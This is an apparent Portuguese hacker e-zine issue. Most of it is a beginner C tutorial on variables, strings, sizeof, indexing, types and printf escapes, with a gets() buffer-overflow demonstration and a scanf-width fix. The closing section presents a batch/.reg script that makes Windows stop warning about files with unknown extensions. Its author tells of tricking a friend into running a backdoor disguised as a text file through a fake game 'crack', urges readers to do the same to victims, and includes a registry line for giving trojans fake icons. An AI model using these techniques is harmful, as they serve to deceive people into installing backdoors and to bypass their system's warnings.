'variavelx' e 2 Nesse exemplo acima declarei (criei) uma variavel chamada variavelx e inserir um valor a essa variavel, o valor da variavel é 2, podemos inserir valores a variaveis utilizando esses metodos: int variavel; ----> Declarei a variavel 'variavel' mas não inserir um valor para ela. variavel=2; ---- > Agora sim inseri um valor. int variavel=2, --- > Aqui declarei e inseri um valor para variavel. Como voces podem ver no primeiro exemplo, inicialmente apenas declarei a variavel 'variavel' para logo abaixo definir um valor (conteudo) que ela armazenará, que no caso é 2. Podemos inserir e 'modificar' um valor de uma variavel sempre que assim desejarmos. Exemplo: -------- cut -------- #include int main () { int variavelx=2; // --> Declarei que o valor da variavel seria 2 printf ("O valor da variavel 'variavelx' e %d\n", variavelx); variavelx=10; // -- > Mudei o valor da variavel para 10 printf ("Agora o valor da variavel 'variavelx e %d", variavelx); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>file1 O valor da variavel 'variavelx' e 2 Agora o valor da variavel 'variavelx e 10 Podemos declarar variaveis utilizando esses métodos: int variavel; ou int variavel; int variavel2=2; ou int variavel1, variavel2; //Declaração de duas variaveis do tipo inteiro (mesma linha) ou int variavel1=10, variavel2; ou int variavel1=10, variavel2=20; Caso voce queira declarar varias variaveis de um determinado tipo em uma mesma linha, utilize a virgula para cada novo nome de variavel, como voce viu acima (int variavel1, variavel2). Ja que voce sabe que para declararmos uma variavel do tipo inteiro (que é uma variavel que armazena numeros) utilizamos o 'int', e utilizamos o '%d' para ler o conteudo (valor) 'desse tipo' de variavel, podemos agora passar para as variaveis do tipo 'char'. As variaveis do tipo char armazenam strings, ou em outras palavras, armazenam texto. Uma string nada mais é que uma sequencia de caracteres terminada por '\0'. Para declararmos uma variavel do tipo 'char' fazemos a mesma coisa que fazemos quando queremos declarar uma variavel do tipo inteiro, ou seja, Tipo variavel=Valor; A unica diferença com relação a uma declaração de variavel do tipo int para uma do tipo char é que para declararmos uma variavel do tipo 'char', temos que definir o tamanho de bytes que essa variavel pode armazenar, o local onde são armazenados esses bytes é chamado de buffer. Exemplo: char variavel[7]; < --- > tipo variavel[buffer]; Vale lembrar que cada caractere que uma variavel do tipo char armazena equivale a 1 byte, então a string "luzinha" conterá um total de 7 bytes sem contar com o terminador de string (\0). Sempre temos que reservar um byte no buffer para o terminador nulo (\0), ou seja, deve ficar assim: char variavel[8] = "luzinha\0"; Acima definimos que a variavel de nome 'variavel' seria do tipo char e armazenaria 8 bytes, ou seja, a variavel teria um buffer (local de armazenamento) que suporta 8 caracteres, pois vale lembrar que um caractere equivale a 1 byte. Voce deve estar curioso para saber de um detalhe, vamos supor que voce está me perguntando isso: Mas se eu inserir mais bytes que esse buffer suporta, o que acontecerá? Caso voce insira mais dados que um buffer pode suportar aparentemente não acontece nada, pois o programa irá aceitar, mas ocorre o chamado buffer overflow, ou simplesmente, estou de buffer. Onde podemos dizer de certa forma que acontece uma 'explosão', mas a explosão vai ser na pilha, mas esse essunto está longe de ser o focu principal deste paper. Na proxima edição da C.O.D.E vai ter uns papers maneiros onde meu amigo darkmoon vai tentar passar pra voces uma boa base de desenvolvimento de shellcode (isso se ele arrumar tempo ^^), pois é necessario aprender desenvolver shellcodes para a 'exploração da falha' de estouro de pilha. Gente, não pensem que é facil desenvolver shellcodes, todo mundo que meche com isso hoje ja sentiu "MUITA" dificuldade, mas posso adiantar ai como se previnir o buffer overflow, simples: Não use funções perigosas, ponto ^^. Não quero assustar voces POR ENQUANTO, pois algumas funções eu ainda vou ensinar ^^, tipo assim galera, posso ensinar uma unica maneira de prevenção agora, só pra voces não falarem que minha zine é de péssima qualidade (heheh) vejam esse code: -------- overflow.c -------- #include main (void){ char str[3]; printf ("Estoure meu buffer [size buffer:3]:"); gets (str); printf ("%s",str);} ---------- cut ---------- Vamos ver onde acontece os sonhos ^^. Resultado: C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:ab < -- 2 caracteres + o terminador \0 = 3 (Normal =) ab C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:1234567891011 < -- Problema, mas o programa ainda não deu pau 1234567891011 C:\Documents and Settings\David\Desktop>overflow Estoure meu buffer [size buffer:3]:destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer destroyeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeer Olha que mensagem legal que o windows me deu 'depois que eu digitei a ultima string': O overflow.exe encontrou um problema e precisa ser fechado. Mensagem legal ;-) Como evitar? Voces se lembram da função scanf que falei nas zines anteriores? Pois é amigo, ela também é vulneravel hauhauh!!! Mas calma, calma, quem estuda C tem que conhecer o maximo de funções possiveis, mas o interesante é que ele não é totalmente vulneravel =) Eba!!! Eba!!! hauha!!! Voces devem estar dizendo: Ufa!! Basta usar especificadores para limitar o tamanho da string que vai ser passada para o buffer ;-) Exemplo: ---------- cut ---------- #include main (void){ char str[6]; //Armazena 5 caracteres + o '\0' printf ("Seu nome rapaizinho [buffer 6]:"); scanf ("%5s", &str); //Pega "5" bytes (caracteres) e joga para str printf ("%s",str);} ---------- cut ---------- Resultado: Execução normal: C:\Documents and Settings\David\Desktop>overflow Seu nome rapaizinho [buffer 6]:David < -- Escrevi os cinco caracteres ;-) David < -- Leu os cinco caracteres deboa ;-) Engraçadinho tentando estourar meu buffer: C:\Documents and Settings\David\Desktop>overflow Seu nome rapaizinho [buffer 6]:David gostosao < -- Mais de cinco caracteres ;] David < -- Aham!!!!! Só imprimiu 5 caracteres, porque ele pegou só 5 ;) Na proxima C.O.D.E vai algo mais completo ;) Continuando..... Olha que interesante as variaveis do tipo 'char' se comparadas com as variaveis do tipo 'int'. int variavel=2; char variavel[7]="String"; Repare acima que eu sempre reservo um espaço para o '\0' que é colocado "automaticamente" no final de uma string, nem se preocupe (gets e tals =). Repare que no C como em muitas linguagens de programação, para se referir a uma string (Sequencias de texto) necessitamos utilizar as aspas para determinar que ali se refere a uma string, as strings são conhecidas no C como vetores de caracteres, que como eu ja havia falado: 'Sempre terminam com um caractere nulo'. Por isso devo alertar mais uma vez: "sempre reserve um espaço em seu buffer para esse terminador". A principal caracteristica de uma variavel do tipo char é justamente as aspas nos seus valores =). Ja para valores de variaveis do tipo inteiro não precisamos inserir aspas, pois como todos sabemos, variaveis do tipo 'int' armazenam numeros, mas se voce quiZer que um determinado numero seja entendido como string basta coloca-lo entre aspas (e claro que declarando o char antes do nome da variavel =) char variavel[buffer] = "123456"; Para lermos valores do tipo 'char' ao invéz de utilizarmos o '%d', utilizamos o '%s'. Vamos a um exemplo de declaração de variavel e declaração de valor e logo depois uma demonstração de leitura deste valor. -------- cut -------- #include int main () { char ax[8]= "luzinha"; printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); printf ("O valor da variavel 'ax' e: %s", ax); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>file1 A variavel 'ax' possui 8 caracteres O valor da variavel ax e: luzinha Se voce reparar bem poderá perceber que o operador sizeof (falarei logo mais) me retornou o numero correto de bytes existente naquele buffer (area de armaze namento), mas quando a função printf me mostrou qual era o valor da variavel 'ax' ela não exibiu de forma alguma o terminador nulo que foi inserido no final da string, ou seja, esse nome 'terminador' não significa 'terminador' por qualquer motivo, ele simplesmente existe para marcar o fim de uma sequencia de texto e não pode ser lido. Vamos fazer uma pequena modificação no exemplo anterior -------- cut -------- #include int main () { char ax[8]= "luz\0inha"; // <--- Reparem no que eu fiz printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); printf ("O valor da variavel ax e: %s", ax); return 0; } -------- cut -------- Resultado: A variavel 'ax' possui 8 caracteres O valor da variavel ax e: luz Podemos fazer com que o compilador detecte e crie um buffer com uma determinada quantidade de bytes sem precisarmos especificar manualmente quantos bytes nosso buffer vai ter, ou seja, o compilador mesmo analisa e cria um buffer contando o valor da variavel, para fazer isso basta não especificar a quantidade de bytes que seu buffer vai ter =). Simples, pois assim ele vai fazer como eu falei: cria um buffer se baseando na quantidade de caracteres do valor da variavel e ainda vai inserir no final da string o terminador nulo automaticamente =). Exemplo: -------- cut -------- #include int main () { char ax[]= "luzinha"; // <-- Repare aqui que meu buffer '[]' está indefinido printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); printf ("O valor da variavel 'ax' e: %s", ax); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc A variavel 'ax' possui 8 caracteres O valor da variavel 'ax' e: luzinha Repare que o operador 'sizeof' contou a quantidade de bytes no valor da variavel 'ax' e me retornou quantos bytes existia nesse buffer, ou seja, 8 bytes luzinha -- > 7 bytes \0 --> 1 byte Acho que ja está na hora de falar sobre o operador sizeof. Bem, este operador é utilizado para verificar o tamanho (em bytes) 'dos tipos' e 'variaveis' desses tais tipos, vale lembrar que este operador pode ser lido como um inteiro, sua sintaxe é assim: sizeof (variavel) ou sizeof (tipo) Exemplo: -------- cut -------- #include int main () { char ax[]= "luzinha"; printf ("A variavel 'ax' possui %d caracteres\n", sizeof(ax)); return 0; } -------- cut -------- Vamos ver agora como saber o tamanho (em bytes) de um determinado 'tipo', isso varia muito, vamos supor que voce voce está operando uma maquina com hardware de 32 bits (Que é o meu caso nesses exemplos): -------- cut -------- #include int main () { printf ("Cada caractere de um valor do tipo \ char equivale a '%d' byte\n", sizeof(char)); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc Cada caractere de uma valor do tipo char equivale a '1' byte Repare que utilizei o sizeof seguido do 'tipo' (char) da variavel que eu quero saber o tamanho (sizeof (char)). Vamos fazer o mesmo procedimento só que agora eu quero saber qual o tamanho de um 'int'. -------- cut -------- #include int main () { printf ("Um 'int' equivale a '%d' bytes\n", sizeof(int)); return 0; } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc Um 'int' equivale a '4' bytes O resultado mostrou que um int equivale a 4 bytes. Só pra lembrar: 8 bits = 1 byte 4 bytes = 32 bits Essa é a melhor forma de indentificarmos a quantos bits nosso hardware opera, em uma maquina de 16 bits muito provavelmente um 'int' equivale a 16 bits, já em maquinas de 32 bits o 'int' será 32 bits, ou seja, 4 bytes. Simples =) Como ja havia falado anteriormente não vou me aprofundar nisso, pois torno a repetir que esse não é o foco principal deste paper. [===XX=XX===] Indice no C [===XX=XX===] Esse é um assunto de extrema importancia, gostaria que voces prestassem bem atenção. Em uma string (sequencia de texto), cada caractere recebe como eu posso dizer... uma identificação, isso, identificação. Cada caractere contido em uma string recebe numeros que as identificam dentro desta string. O primeiro caractere contido em uma string sempre vai ser 0 ao invéz de 1 como poderiamos até chutar para ser o primeiro, analise esse exemplo abaixo: < ----------- > luzinha\0 01234567 < ----------- > O interesante é que podemos ler determinados caracteres dentro de uma string utilizando seu numero de indice (seu identificador =). Vamos a alguns exemplos :] -------- cut -------- #include int main (){ char ind[8]="luzinha"; printf ("A primeira letra da string 'luzinha' e '%c'", ind[0]); // <-- Repare aqui =] return (0);} -------- cut -------- Acima voce pode ver que para ler UM CARACTERE contido na string utilizamos o '%c' e logo em seguida especificamos a variavel seguida do tal identificador deste caractere 'dentro do buffer'. Vou escrever novamente meu primeiro exemplo para um melhor entendimento: luzinha\0 01234567 Acima voce pode ver que o primeiro caractere da string 'luzinha' é 'l', e como eu ja havia falado anteriormente já que esse caractere é o primeiro caractere contido na string então seu identificador dentro do buffer vai ser o 0. Com esse metodo de leitura podemos visualizar determinados valores apenas utilizando seu numero de indice, assim podemos entender que apenas a letra 'l' vai ser impresa na tela, vamos ver. Resultado: C:\Documents and Settings\David\Desktop>sinc A primeira letra da string 'luzinha' e 'l' Bingo! Para visualizar o primeiro e o segundo caractere da string "luzinha" utilizamos dois sinais de '%c' e logo em seguinda utilizamos a variavel e o numero de indice do buffer que estes caracteres estão. Exemplo: -------- cut -------- #include int main (){ char ind[8]="luzinha"; printf ("As duas primeiras letras da string 'luzinha' \ sao: '%c' e '%c'", ind[0], ind[1]); return (0);} -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc As duas primeiras letras da string 'luzinha' sao: 'l' e 'u' Não pretendo dar focu sobre isso "agora", vamos nos aprofundar nesse tema nas proximas edições quando falaremos sobre matrizes... se bem que isso: char ind[8]="luzinha"; Pode ser considerado uma matriz, mas é uma matriz de caracteres ;) ou seja, para ler um CARACTERE dentro desta MATRIZ vamos utilizar o %c, vou mostrar para voces uma matriz de numeros, ou seja -> Matrix do tipo inteiro ( =): main (){ int num[2]={123, 456}; printf ("%d + %d = %d\n", num[0], num[1], (num[0] + num[1])); system ("pause");} Espero que voce seja esperto, pois agora nao e hora de falar de matrizes e sim do tal do indice, mas como sempre eu gosto de deixar voces com uma boa base de tudo que eu escrevo, para voces irem pegando as coisas nas proximas edições com mais facilidade :) [==X=========XX=XX===========X=] O TIPO VOID [==X=========XX=XX===========X=] Eu tinha falado vagamente sobre o tipo 'void' na edição passada, disse que 'void' era um tipo sem tipo, que só estava ali para dizer que determinadas coisas são vazias. Agora vamos falar um pouco dele, ei ei ei: Para quem não sabe 'void' significa 'vazio' em portugues (só pra constar =). O void possibilita que a criação de funções que não retornam nada e também possibilida a criação de funções sem parametro. Exemplo: -------- cut -------- #include void main (void){ // < -- Função 'main' não retorna nada e também não tem argumentos printf ("Sinck");} -------- cut -------- Nossos compiladores são programados para lhe alertar sobre a existencia de um 'void' ao invez de int antes da função 'main' (caso voce declare o void antes do main... dã!!), o meu compilador me retornou a seguinte mensagem: 3 C:\Documents and Settings\David\Desktop\void.c [Warning] return type of 'main' is not `int' Tradução: 3 C:\...\void.c [Avisando] o tipo de retorno de 'main' não é 'int' Isso acontece porque o compilador pensa que a função main tem sempre que retornar um inteiro, caso quiZermos que nosso sistema receba o valor de retorno de main, basta declarar a mesma como um inteiro (int main) e especificar dentro do bloco de codigo o valor de retorno, exemplo: 'return (numero de retorno)' Se não especificarmos o tipo de retorno de uma função o compilador vai supor que este tipo é inteiro. Caso main retorne 0 (inteiro) significa que nosso programa teve uma execução normal, caso o main retorne um numero diferente de zero significa o oposto. Caso voce não queira passar o valor de retorno da função main para o sistema, basta utilizar o 'void', assim voce não precisará especificar o 'return 0' para representar um: 'tudo certo'. Recapitulando: e o 'return (-1)' para representar anomalia :] Vale lembrar que é sempre bom voce especificar o valor de retorno, seus codes ficam mais hackoes e mais profissionais rsrs, tinha que colocar uma palhaçada (aff). Um detalhe interesante: -------- cut -------- #include main (void){ // < -- Da uma olhadinha ai gente boa printf ("Me chupa");} -------- cut -------- Isso ai em cima também rola cara, porque como eu ja falei anteriormente, por padrão o C retorna um inteiro, ou seja, nem precisamos especificar o 'int' =) -------- cut -------- #include int main (void){ // < -- Coloca o int se quiZer =) printf ("Me chupa"); return 0;} //Coloca o 'return 0' se quiZer =] -------- cut -------- [========XX=XX========] O TIPO FLOAT [========XX=XX========] Nos ja vimos tres tipos que são: int -- > Determina que uma variavel vai receber valores inteiros (numeros =). char -- > Determina que uma variavel vai receber strings (texto). void -- > Tipo que possibilita a criação de funções que não retornam nada e também possibilida a criação de funções sem parametro. Mas está fautando mais um aí, que é o: float -- > Determina que uma variavel que foi declarada com esse tipo vai armazenar numeros que possuem casas decimais, como: '10.55'. Exemplo: -------- cut -------- #include void main (void){ float variavelx=10.55; printf ("O valor da variavel 'variavelx' e: %f", variavelx);} -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>sinc O valor da variavel 'variavelx' e: 10.550000 Para lermos valores do tipo float (ponto flutuante) utilizamos o '%f' (olha só que original =). Gente, o 'C' não tem misterio nenhum. Amigos bgners, espero que voces tenham entendido bem esse esquema básico de tipos, não vou falar do tipo double porque o foco aqui é sobre os tipos básicos, se bem que o double ainda está na lista de tipos basicos do C, mas vo parar por aqui, na proxima edição da C.O.D.E eu prometo =) [==[]======XXx=xXX======[]==] Diferentes formas de leitura [==[]======XXx=xXX======[]==] Nos ja aprendemos como funciona o processo de leitura basico de valores de alguns tipos, que são: %d -- > Inteiro %c -- > Um unico caractere %f -- > Float %s -- > string Agora vamos ver como é interesante e IMPORTANTE aprender bem esse negocio de tipos em C ;-) Olhem que legal: -------- cut -------- #include main (void){ printf ("Eu amo a %c%c%c%c%c%c%c", 'L', 'u', 'z', 'i', 'n', 'h', 'a'); printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!"); printf ("\n\nNinguem pode com meu grupo - Viper Corp %d%d%d", 6, 6, 6); printf ("\n\nSo pra constar um float ai: %f\n", 10.88);} -------- cut -------- Resultado: ======================================== C:\Documents and Settings\David\Desktop>satan_emperial Eu amo a Luzinha Estou um passo a frente de voces Trouxas!!!! Ninguem pode com meu grupo - Viper Corp 666 So pra constar um float ai: 10.880000 ======================================== Explicações: O que determina 'um caractere' é o apostrofo (' ') seguido do caractere, exemplo: --> 'A'. Então se eu quiZer ler uma determinada letra eu faço isso: printf ("Me chamo %c %c %c %c %c", 'D', 'a', 'v', 'i', 'd'); Lembram que o %c é usado para imprimir apenas uma letra? Então... Resultado: C:\Documents and Settings\David\Desktop>satan_emperial Me chamo D a v i d < -- O espaço entre as letras que da o charme rsrs printf ("Me chamo %c%c%c%c%c", 'D', 'a', 'v', 'i', 'd'); C:\Documents and Settings\David\Desktop>satan_emperial Me chamo David < -- Juntinho baby =) Proximo! O que é que caracteriza um valor inteiro mesmo? Hum... Lembram? Numeros!!! Exemplo: printf ("\n\nNinguem pode com meu grupo - Viper Corp %d %d %d", 6, 6, 6); Repara que para cada '%d' que eu insiro dentro das aspas, também coloco um valor equivalente a este tipo depois das aspas, assim o printf faz a leitura deboa ;] Proximo! O que caracteriza um valor do tipo char (string) mesmo? As "" - aspas :] Então: printf ("\n\nEstou um passo a frente de voces %s", "Trouxas!!!!"); E assim vai.... [===========XX=XX===========] Constantes de barra invertida [===========XX=XX===========] As vezes exibir apenas letras na tela não é o limite hauhauh!!! Zuera, to zuando, calma. Acho que to relaxando d+ hauahu!! Queria ficar serio o curso todo, mas não da -.- uhauhauha!!! Como todos sabemos a função printf exibe mensagens na tela, ela funciona como o comando echo no DOS, ou seja, echo mensagem printf ("mensagem"); Mas prestem atenção nas aspas ai em cima, hum.... sacou? caso voce queira usar aspas para destacar uma mensagem "dentro de uma string" (sequencia de texto) usando um metodo aparentemente obvio, ia da erro, exemplo: Não da: printf ("Eu quero destacar "essa palavra" "); Para isso foram criadas as constantes de barra invertida ;] Abaixo estão "algumas" delas: xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx== \" -- > Coloca aspas dentro da string \' -- > Coloca apóstrofo dentro da string \a -- > Da um beep (da uma piada) -> isso é legal rsrs \n -- > New line (nova linha) - > Pula uma linha \0 -- > Terminador nulo \\ -- > Inseri uma unica contra barra ('\') dentro da string xxxxx=====xxxxxxxxx=====xxxxx====xxxxx=====xxxx== Vamos aos exemplos [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] -------- cut -------- #include main (void){ printf ("Eu quero destacar \"essa palavra\""); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Sinck_Destroyer Eu quero destacar "essa palavra" [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] -------- cut -------- #include main (void){ printf ("Eu\nAmo\nA\nLuzinha invaders ;]"); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Sinck_Destroyer Eu Amo A Luzinha invaders ;] [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] -------- cut -------- #include main (void){ printf ("Pi!\a Pi!!\a Pi!!!\a Huahuahuah"); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Sinck.exe Pi! Pi!! Pi!!! Huahuahuah [=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=] Piadinha sem graça -.- Huahuahuahuah!!! -------- cut -------- #include main (void){ printf ("\n\nEu queria ter nascido em 20\\07\\1950 \ para ter 16 anos em 20\\07\\1965,\no auge da rebeldia.\n\n"); } -------- cut -------- Resultado hauhau!!!: C:\Documents and Settings\David>desktop\Untitled1 Eu queria ter nascido em 20\07\1950 para ter 16 anos em 20\07\1965, o auge da rebeldia. Foi mal, mal, tava sem imaginação rsrsrs, pra quem não entendeu a piada eu quiz mostrar a data, exemplo: 06/03/2008. Entendeu? rsrs Muito legal. E por ai vai..... Ei ei ei, para imprimir um sinal de percento na tela com o printf, use dois sinais de percento para representar 'um', exemplo: -------- cut -------- #include main (void){ printf ("Estou vendendo meu adaptador \ wireless 802.11b/g com 50%% de desconto avista"); } -------- cut -------- Resultado: C:\Documents and Settings\David\Desktop>Bru Estou vendendo meu adaptador wireless 802.11b/g com 50% de desconto avista [===xXx=====XX=XX======xXx===] Um pouco mais de variaveis [===xXx=====XX=XX======xXx===] Abaixo vai um pouco sobre declarações de variaveis para voces irem se ligando na proxima edição da C.O.D.E =) Nem vou comentar muito porque o font do code ja ta bem comentado eheh, na proxima edição eu vou explicar melhor, mas por hora isso ja pode ajudar voces amigos ;) --- variavel.c --- #include #include int global; // <-- Variavel global, todas as funções a enchergam int func (int variavel_de_lista_de_parametros){ /*Também podemos declarar variaveis na lista de parametros de uma função, apesar deste tipo de variavel receber valores externos, ela é utilizada apenas no bloco de codigo da função em que foi declarada (na lista de parametros =).*/ printf ("O valor da variavel global e -> %d\n", global); printf ("Eu disse: %d =)\n", global); printf ("O valor da variavel_de_lista_de_parametros \ eh ->%d<-\n", variavel_de_lista_de_parametros); } int main (void){ system ("cls"); int var_local=0; /* <-- Variavel local, só é utilizada E VISTA no bloco de codigo da função em que foi declarada */ puts ("Contagem:\n"); for (var_local;var_local<10;var_local += 1){ int variavel_de_bloco=var_local; /* <-- Variavel de bloco ->'for'<-, só é vista e UTILIZADA dentro do bloco de codigo 'for' em que foi declarada */ printf ("numero [%d]\n", variavel_de_bloco);} printf ("\nDigite um numero:"); scanf ("%d", &global); func (10); /* printf ("%d", variavel_de_bloco); Se voce tentar chamar uma variavel de bloco 'for' aqui, verá uma msg como essa: C:\variavel.c `variavel_de_bloco' undeclared (first use in this function) */ printf ("E o valor da variavel local de main (var_local) eh %d\n", var_local); system ("pause"); return (0); } --- cut --- [========XX=XX========] Encerramento da parte 3 [========XX=XX========] Nos proximos episodios de sua emocionante serie: O cuso de C. Iremos ver neste mesmo horario neste mesmo canal os seguintes temas: < -- O TIPO DOUBLE - O retorno dos androides -.0 -- > < -- Só conto na proxima edição 0.= -- > < -- Só conto na proxima edição =.= -- > Voces devem ter percebido a existencia de uma 'contra barra' (\) em alguns exemplos, e muitos que estão lendo a terceira parte do curso de C devem estar curiosos para saber do que essa tal barra se trata, simples: printf ("A contra barra serve para evitar a escrita de um texto muito grande em uma unica linha"); Entenderam? Ou seja, para evitar isso utilize a contra barra. Exemplo: -------- cut -------- #include int main (void){ char mylove[8]="Luzinha"; printf ("\n\nSou feliz, feliz porque estou apaixonado, feliz porque amo e \ sou correspondido, me sinto bem ao lado dela, me sinto bem porque \ sempre que estou ao lado dela sorrio como um menino e sou mimado \ como um bebe. Sou um homem feliz porque sei que o coracao dela e' meu \ e ela sabe que meu coracao e' e sempre sera dela. Te amo %s.\n\n", mylove); return (0);} -------- cut -------- O G++ não gosta do void Ops, ia esquecendo ^^. Gostaria de recomendar um ótimo compilador para windows chamado Dev-C++, quando voce clica em new -> source file, o Dev vai criar um arquivo .cpp em branco para voce escrever os codigos, a extensão 'cpp' quer SUPOSTAMENTE dizer que aquele font foi feito em C++, mas voce pode escrever seus codigos em C tranquilamente em arquivos com essa extensão e compila-los, o problema vem agora, tipo assim, compile este font aqui (dentro de um arquivo cpp): ---- Untitled1.cpp ---------- #include void main (void){ printf ("Deu Pau!!!"); } -------- cut -------- Não vou conseguir compilar ele porque se o arquivo estiver com extensão .cpp não é permitida 'a não especificação do int' de forma alguma, ou seja, ele te obriga a colocar o int antes de main retornando essa mensagem: 3 C:\Documents and Settings\David\Desktop\Untitled1.cpp `main' must return `int' Ele ta dizendo que o main tem que retornar um inteiro (int), o Dev é uma especie de interface bonitinha para o gcc e para o g++, compiladores C e C++ respectivamente, na verdade é o g++ que não permite que a função retorne void, Veja os logs: Compiler: Default compiler Executing g++.exe... g++.exe "C:\Documents and Settings\David\Desktop\Untitled1.cpp" -o "C:\Documents and Settings\David\Desktop\Untitled1.exe" -g3 -I "C:\Dev-Cpp\lib\gcc\mingw32\3.4.2 \include" -I"C:\Dev-Cpp\include\c++\3.4.2\backward" -I"C:\Dev-Cpp\include\c++\3.4.2\ mingw32" -I"C:\Dev-Cpp\include\c++\3.4.2" -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" -l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.cpp:3: error: `main' must return `int' Execution terminated Ja que o Dev identifica qual compilador usar, se baseando pela extensão dos arquivos, e já que sabemos que o tal do g++ não permite que a função principal retorne void, basta usarmos outro compilador =] Como? Sempre escreva seus CODEs em arquivos com a extensão '.c', assim o Dev vai utilizar o gcc para compila-lo, com o gcc é apenas exibida uma mensagenzinha que eu ja falei anteriormente e pronto, mas o importante é que ele compila =) Isso ja atrasou a vida de muitos amigos meus, por isso estou falando, para que isso não aconteça com voce, fazendo voce desistir de estudar 'C' só porque não conseguiu compilar um code. Faça um teste: ---- Untitled1.c ---------- #include void main (void){ printf ("Agora foi!!! =]"); // <-- Repara na string de controle =) } ------- cut ------- Logs: Compiler: Default compiler Executing gcc.exe... gcc.exe "C:\Documents and Settings\David\Desktop\Untitled1.c" -o "C:\Documents and Settings\David\Desktop\Untitled1.exe" -g3 -I"C:\Dev-Cpp\include" -L"C:\Dev-Cpp\lib" -l wsock32 -g3 C:\Documents and Settings\David\Desktop\Untitled1.c: In function `main': C:\Documents and Settings\David\Desktop\Untitled1.c:3: warning: return type of 'main' is not `int' Execution terminated Compilation successful < -- Sucesso!!! Vale te lembrar amigo bgner que 90% do's' "error" de um iniciante DEDICADO é na escrita do code e não pela fauta de conhecimento por parte dele. Vou explicar melhor, tipo, um bgner sabe que para declarar uma string é necessario usar aspas, mesmo sabendo ele não viu que esqueceu, ou seja, Erro! Outro erro bastante comum é a declaração de valores que não são suportados por determinados tipos, assim ocazionando erros. Espero que tenham gostado de mais uma parte do curso e gostaria de estar dedicando a terceira parte do curso de C ao meu amor, Patricia. Aguardem a 4ª Parte na C.O.D.E x03 by 6_Bl4ck9_f0x6 Viper Corp Group ----- C4p1Tul0 10 [+] X==XX===========XXX===========XXX===X +] File Extension Manipulation [+] X===========XXX=============XXX======X+] Olá!! Esse code ai é pro pessoal que gosta de uma operação sabotagem, tipo assim, isso ai é bom pra pegar aquele povo que gosta de reparar em extensão ^^. Pessoal, voces podem fazer ele em .reg e mandar pra vitima ^^. Voces sabem aqueles joguinhos que para se crackear precisamos utilizar pequenos .reg? Um exemplo é o Age of Empires 1 e tantos outros por ai, esses .reg são usados para aumentar a velocidade do jogo e tals, dai fica mais facil, basta mandar o jogo pra vitima e mandar ela crackear isso da menos na telha, vamos pensar com malicia agora. Voces muito provavelmente devem conhecer manipulação binaria em rtf e tals, mas o mais interesante disso é que quando a vitima executa qualquer arquivo 'conhecido como perigo' pelo windows, ele avisa e tals, mas se a vitima tiver executado o .reg ou voce mesmo utilizou esse script que escrevi em batch ANTES no sistema dela, voce pode mandar arquivos binarios e tudo mais que não vai aparecer mensagem nenhuma avisando que aquele arquivo é do mal e tals eheh. Para cada tipo de extensão CONHECIDA é exibida uma mensagem diferente, ou seja, ja que seu trojan OU VIRUS vai estar com uma extensão totalmente escabroZa nem se preocupe cara, pois como eu ja falei: Nada de mensagem!!! Reparei isso porque as mensagem mudavam quando se executava diferentes extensões no rtf, dai o que eu pensei? Putz, as mensagens aparecem por causa da extensão OBVIO!!! Quando fui testar uma extensao no rtf com aplicativo "logo depois de ter usado o F.E.M", adivinha o que aconteceu, nada de msg, ou seja, Bingo!!! Dai resolvi brincar um pouco com isso, mandei o Age para um amiga e foi muito legal, disse: David diz: Nanda, tai um joguinho legal. Link: Http://.... Fernanda diz: Opa, eu tenho o 2, mas naum o 1. David diz: Crackeia ele ai, speed e tudo mais Fernanda diz: Quanto terminar de baixar eu faço. Algum tempo depois.... David diz: Nanda, olha o que eu escrevi proce Era um arquivo escrito algo mais ou menos assim rsrs: []==============================================[] O Nanda, minha amada amiga, estava eu aqui sem fazer nada e resolvi escrever um texto proce, ta ai em baixo: notepad.txt < -- Olha a malandragem aqui + | (com icone e tudo mais ^^) < ---- + []==============================================[] Na verdade o que eu mandei era um arquivo com extensao .fox rsrs Ela executou o file e catapimba!!! Não deu outra, minha backdoor rodando e meu clinte conectando rsrsr. Antes tinha bindeado a backdoor com um arquivo de texto escrito um monte de besteira, tipo, piadas!!! rsrs. As utilidades deste script podem ser interminaveis, obvio que voce tem que pensar como um fuçador, pensar com malicia amigo, não estou falando para voces ser malicioso com todos e com tudo, pois a intenção aqui não é tirar sua inocencia, mas garanto que um pouco de malicia "NO NOSSO RAMO" nos traz bons frutos e também nos evita uma bela de uma dor de cabeça, pois existem engenheiros sociai's d+ no mundo, pensando com malicia sua imaginação vai pipocar em seu cerebro, sempre... ------ F. E. M - v2.0.bat ------ @echo off & color c REM Para inserir icones predefinidos no seu trojan basta inserir e modificar essa linha: REM reg add HKEY_CLASSES_ROOT\Master\DefaultIcon /ve /t REG_SZ /d "shell32.dll,67" /f ReM shimgvw.dll,3 = Imagem em JPG ReM title Esquadrao da tortura - Viper Corp :Pergunta ECHO ################################ ECHO F. E. M. v2.0 &echo. ECHO BY ECHO 6_Bl4ck9_f0x6 & echo. ECHO -X-x-X Corporacao Vibora X-x-X- ECHO ################################ & echo. ECHO ============================ ECHO + Viper Corp + ECHO For you Bru?? 